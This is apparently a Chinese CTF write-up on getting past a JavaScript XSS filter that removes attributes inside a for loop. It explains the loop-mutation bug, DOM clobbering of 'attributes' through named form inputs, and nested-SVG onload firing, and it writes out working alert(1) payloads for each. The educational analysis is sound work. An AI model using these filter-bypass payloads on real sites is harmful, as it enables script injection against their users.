当前位置:网站首页>XSS-绕过for循环过滤
XSS-绕过for循环过滤
2022-08-04 00:12:00 【H2223】
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
</body>
<script>
const data = decodeURIComponent(location.hash.substr(1));
const root = document.createElement('div');
root.innerHTML = data;
//这里模拟了XSS过滤的过程,方法是移除所有属性
for (let el of root.querySelectorAll('*')) {
for (let attr of el.attributes) {
el.removeAttribute(attr.name);
}
}
document.body.appendChild(root);
</script>
</html>
代码大意:将#后面的数据放入div便签中,并过滤标签中的所有属性
尝试输入#<img src=1 οnerrοr=javascript:alert(1)>
在页面中输出的是:<img οnerrοr="javascript:alert(1)">,显然for循环没有达到预期的效果只删除了src属性,onerror没有被删除,但没有src就无法执行javascript:alert(1)
a = [1, 2, 3, 4, 5, 6]
for i in a:
if i == 2:
a.remove(i)
print(i)
1
2
4
5
6
以上Python代码的意思是:循环遍历a列表,并去掉2,正常应该输出1,3,4,5,6但是输出了2,反而3没了,这是因为for循环遍历到2时下标是1,遍历下标2的时候,因为2已经被删了,下标2对应的值是4,下标1对应的值是3,而下标1在之前已经遍历出了2
现在在看这道CTF题
既然他不会将全部的属性过滤掉,就多写几个属性试试
#<img%20xxx=aaa%20src=1%20οnerrοr=javascript:alert(1)>
输出:<img src="1"> 发现src被输出了
再多加几个属性试试
#<img xxx=aaa src=1 title=aaa οnerrοr=javascript:alert(1)> 这就成功了
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
</body>
<script>
const data = decodeURIComponent(location.hash.substr(1));
const root = document.createElement('div');
root.innerHTML = data;
// // 这里模拟了XSS过滤的过程,方法是移除所有属性
for (let el of root.querySelectorAll('*')) {
let attrs = [];
for (let attr of el.attributes) {
attrs.push(attr.name);
}
for (let name of attrs) {
el.removeAttribute(name);
}
}
document.body.appendChild(root);
</script>
</html>
现在加点难度,通过以上代码就不会出现问题了,因为现在是先将数据放入一个数组,再删除,操作的不是同一个数组。
现在之前的答案不行了,无论写多少属性都会被删除
<div><img></div>
现在就两种思路:
1,别进循环。
2,进循环,但有用的数据不被删除
方法一
root.querySelectorAll可以获取div下的子元素
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form id="x" tabindex="1" onfocus="alert(1)">
<input name="attributes">
<input name="attributes">
</form>
</body>
<script>
console.log(window.x.attributes) //RadioNodeList(2) [input, input, value: ""]
</script>
</html>
attributes可以获取标签
从以上例子,我们可以看到,attributes只获取了input标签,而form便签中的属性没有被获取
<form id="x" tabindex="1" οnfοcus="alert(1)">
<input name="attributes">
<input name="attributes">
</form>
将其输入,后证实了猜想
<div><form id="x" tabindex="1" onfocus="alert(1)"> <input> <input> </form></div>
只过滤了input标签
#<form%20tabindex=1%20οnfοcus="alert(1)"%20autofocus="true"%20>%20<input%20name="attributes">%20<input%20name="attributes">%20</form>
然后一直按tab,就可以弹窗了
方法二
别进循环,也就是说在innerHTML里就执行命令
重要知识点:js代码会阻塞dom树的构建,先运行js代码,再构建dom树
void SVGSVGElement::FinishParsingChildren() {
SVGGraphicsElement::FinishParsingChildren();
// The outermost SVGSVGElement SVGLoad event is fired through
// LocalDOMWindow::dispatchWindowLoadEvent.
if (IsOutermostSVGSVGElement())
return;
// finishParsingChildren() is called when the close tag is reached for an
// element (e.g. </svg>) we send SVGLoad events here if we can, otherwise
// they'll be sent when any required loads finish
SendSVGLoadEventIfPossible();
}
这是HTML部分源码,其中if (IsOutermostSVGSVGElement()),就判断是否就一个svg标签,如果是就返回,如果不是就运行SendSVGLoadEventIfPossible()
bool SVGElement::SendSVGLoadEventIfPossible() {
if (!HaveLoadedRequiredResources())
return false;
if ((IsStructurallyExternal() || IsA<SVGSVGElement>(*this)) &&
HasLoadListener(this))
DispatchEvent(*Event::Create(event_type_names::kLoad));
return true;
}
代码大意:只要是svg标签,并且有onload事件就可以进到第二个if里面,运行DispatchEvent(*Event::Create(event_type_names::kLoad));
就可以加载onload事件
总结:要两个svg标签,有onload事件
#<svg><svg/οnlοad=alert(1)> 这样就成功了
边栏推荐
- 【OpenCV图像处理】 图像拼接技术
- BPF 可移植性和 CO-RE(一次编译,到处运行)
- Read FastDFS in one article
- 双目IMU标定kalibr
- Apple told Qualcomm: I bought a new campus for $445 million and may plan to speed up self-development of baseband chips
- 简单了解下 TCP,学习握手和挥手以及各种状态到底是怎么样的
- 咱们500万条数据测试一下,如何合理使用索引加速?
- The problem of disorganized data output by mnn model
- 代码重构:面向单元测试
- C# wpf使用ffmpeg命令行实现录屏
猜你喜欢
随机推荐
MPLS综合实验
越来越火的图数据库到底能做什么?
北京电竞元宇宙论坛活动顺利召开
【杂项】如何将指定字体装入电脑然后能在Office软件里使用该字体?
带你造轮子,自定义一个随意拖拽可吸边的悬浮View组件
Three.js入门详解
Apple told Qualcomm: I bought a new campus for $445 million and may plan to speed up self-development of baseband chips
Unity intercepts 3D images and the implementation of picture-in-picture PIP
苹果对高通说:我4.45亿美元买下一个新园区,可能计划加快基带芯片自研
详谈RDMA技术原理和三种实现方式
【面经】被虐了之后,我翻烂了equals源码,总结如下
第1章:初识数据库与MySQL----MySQL安装
In V8 how arrays (with source code, picture and text easier to understand)
NLP resources that must be used for projects [Classified Edition]
FinClip, help smart TV more imagination
面试必问的HashCode技术内幕
boot issue
RSS订阅微信公众号初探-feed43
代码重构:面向单元测试
一文搞定 SQL Server 执行计划